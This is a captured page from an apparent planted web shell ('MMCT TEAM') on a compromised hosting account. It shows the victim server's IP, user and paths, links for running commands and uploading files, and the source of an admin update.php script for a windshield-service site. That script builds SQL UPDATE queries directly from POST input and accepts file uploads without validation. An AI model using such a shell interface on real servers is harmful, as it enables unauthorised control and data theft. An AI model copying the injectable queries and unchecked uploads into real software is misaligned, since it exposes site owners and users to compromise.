MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.57
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/skyispatudyog/sym/Users/0-imyrqtmy/zugadu/AdminPanel/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/skyispatudyog/sym/Users/0-imyrqtmy/zugadu/AdminPanel/update.php
<?php include'include/connection.php';?> 
<!DOCTYPE html>
<html>
<head>
    <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/sweetalert/1.1.3/sweetalert.min.css">
    <link rel="stylesheet" href="https://sweetalert.js.org/assets/css/app.css">
    <script src="https://sweetalert.js.org/assets/sweetalert/sweetalert.min.js"></script>
    <style type="text/css">
        /*.swal-title
            {
              font-size: 100px;
            }
            .swal-button,.swal-text
            {
              font-size: 50px;
            }
            .swal-modal
            {
              width: 80%;
              padding:50px;
            }*/
    </style>
</head>
<body>
<?php 


// if(isset($_POST['brand']))
// {
//     $path="";
//     $id=$_POST['id'];
//     $title=$_POST['name'];
//     $img=$_FILES['image1']['name'];

//     if($img=="")
//     {
//         $newFilePath=$_POST['image'];
//     }
//     else
//     {
//         $filename = $_FILES['image1']['name'];
//         $tmp=$_FILES['image1']['tmp_name'];

//         date_default_timezone_set('Asia/Kolkata');
//         $currentTime = date( 'Ymd-His', time () );

//         $info = pathinfo($filename);
//         $file_name =  basename($filename,'.'.$info['extension']);
     
//         $ext = pathinfo($filename, PATHINFO_EXTENSION);

//         //Setup our new file path
//         $newFilePath = "./uploads/" .$file_name. $currentTime.".".$ext;
        
//         $mf=move_uploaded_file($tmp,$path.$newFilePath);
//     }

//     $sql="UPDATE brand SET brand_name='$title',image='$newFilePath' WHERE id='$id'"; 
//     if(mysqli_query($db,$sql) or die (mysqli_error($db)))
//     {
//         ?>
//        <script>
//          swal({
//                 title: "Brand Updated!",
//                 text: "",
//                 type: "success"
//             }).then(function() {
//                 window.location = "viewbrand.php";
//             });
//        </script> <?php
//     }
//     else
//     {
//         ?>
//        <script>
//          swal({
//                 title: "Sorry!",
//                 text: "Something went wrong! Please try again",
//                 type: "error"
//             }).then(function() {
//                 window.location = "addbrand.php";
//             });
//        </script> <?php 
//     }       
    
// }

// if(isset($_POST['model']))
// {
//     $path="";
//     $id=$_POST['id'];
//     $brand=$_POST['brand'];
//     $title=$_POST['name'];
//     $img=$_FILES['image1']['name'];

//     if($img=="")
//     {
//         $newFilePath=$_POST['image'];
//     }
//     else
//     {
//         $filename = $_FILES['image1']['name'];
//         $tmp=$_FILES['image1']['tmp_name'];

//         date_default_timezone_set('Asia/Kolkata');
//         $currentTime = date( 'Ymd-His', time () );

//         $info = pathinfo($filename);
//         $file_name =  basename($filename,'.'.$info['extension']);
     
//         $ext = pathinfo($filename, PATHINFO_EXTENSION);

//         //Setup our new file path
//         $newFilePath = "./uploads/" .$file_name. $currentTime.".".$ext;
        
//         $mf=move_uploaded_file($tmp,$path.$newFilePath);
//     }

//     $sql="UPDATE model SET brand_id='$brand',model_name='$title',image='$newFilePath' WHERE id='$id'"; 
//     if(mysqli_query($db,$sql) or die (mysqli_error($db)))
//     {
//         ?>
//        <script>
//          swal({
//                 title: "Model Updated!",
//                 text: "",
//                 type: "success"
//             }).then(function() {
//                 window.location = "viewmodel.php";
//             });
//        </script> <?php
//     }
//     else
//     {
//         ?>
//        <script>
//          swal({
//                 title: "Sorry!",
//                 text: "Something went wrong! Please try again",
//                 type: "error"
//             }).then(function() {
//                 window.location = "addmodel.php";
//             });
//        </script> <?php 
//     }       
    
// }


if(isset($_POST['wind']))
{
    $path="";
    $id=$_POST['id'];
    $title=$_POST['name'];
    $brand=$_POST['brand'];
    $model=$_POST['model'];
    $year=$_POST['year'];
    $city=$_POST['city'];
    $ori=$_POST['orip'];
    $loc=$_POST['locp'];
    $desc=$_POST['desc'];
    $img=$_FILES['image1']['name'];

    if($img=="")
    {
        $newFilePath=$_POST['image'];
    }
    else
    {
        $filename = $_FILES['image1']['name'];
        $tmp=$_FILES['image1']['tmp_name'];

        date_default_timezone_set('Asia/Kolkata');
        $currentTime = date( 'Ymd-His', time () );

        $info = pathinfo($filename);
        $file_name =  basename($filename,'.'.$info['extension']);
     
        $ext = pathinfo($filename, PATHINFO_EXTENSION);

        //Setup our new file path
        $newFilePath = "./uploads/" .$file_name. $currentTime.".".$ext;
        
        $mf=move_uploaded_file($tmp,$path.$newFilePath);
    }

    $sql="UPDATE windshield_data SET Title='$title',Image='$newFilePath',Brand='$brand',Model='$model',Year='$year',City='$city',Original='$ori',Local='$loc',Description='$desc' WHERE id='$id'"; 
    if(mysqli_query($db,$sql) or die (mysqli_error($db)))
    {
        ?>
       <script>
         swal({
                title: "Windshield Updated!",
                text: "",
                type: "success"
            }).then(function() {
                window.location = "viewwindshield.php";
            });
       </script> <?php
    }
    else
    {
        ?>
       <script>
         swal({
                title: "Sorry!",
                text: "Something went wrong! Please try again",
                type: "error"
            }).then(function() {
                window.location = "addwindshield.php";
            });
       </script> <?php 
    }       
    
}

if(isset($_POST['addservice']))
{
    $path="";
    $id=$_POST['id'];
    $title=$_POST['name'];
    $brand=$_POST['brand'];
    $model=$_POST['model'];
    $year=$_POST['year'];
    $city=$_POST['city'];
    $desc=$_POST['desc'];
    $price=$_POST['price'];
    $img=$_FILES['image1']['name'];

    if($img=="")
    {
        $newFilePath=$_POST['image'];
    }
    else
    {
        $filename = $_FILES['image1']['name'];
        $tmp=$_FILES['image1']['tmp_name'];

        date_default_timezone_set('Asia/Kolkata');
        $currentTime = date( 'Ymd-His', time () );

        $info = pathinfo($filename);
        $file_name =  basename($filename,'.'.$info['extension']);
     
        $ext = pathinfo($filename, PATHINFO_EXTENSION);

        //Setup our new file path
        $newFilePath = "./uploads/" .$file_name. $currentTime.".".$ext;
        
        $mf=move_uploaded_file($tmp,$path.$newFilePath);
    }

    $sql="UPDATE service_data SET Title='$title',Image='$newFilePath',Brand='$brand',Model='$model',Year='$year',City='$city',Description='$desc', Price='$price' WHERE id='$id'"; 
    if(mysqli_query($db,$sql) or die (mysqli_error($db)))
    {
        ?>
       <script>
         swal({
                title: "Service Updated!",
                text: "",
                type: "success"
            }).then(function() {
                window.location = "viewservice.php";
            });
       </script> <?php
    }
    else
    {
        ?>
       <script>
         swal({
                title: "Sorry!",
                text: "Something went wrong! Please try again",
                type: "error"
            }).then(function() {
                window.location = "viewservice.php";
            });
       </script> <?php 
    }       
    
}

?>
</body>
</html>

MMCT - 2023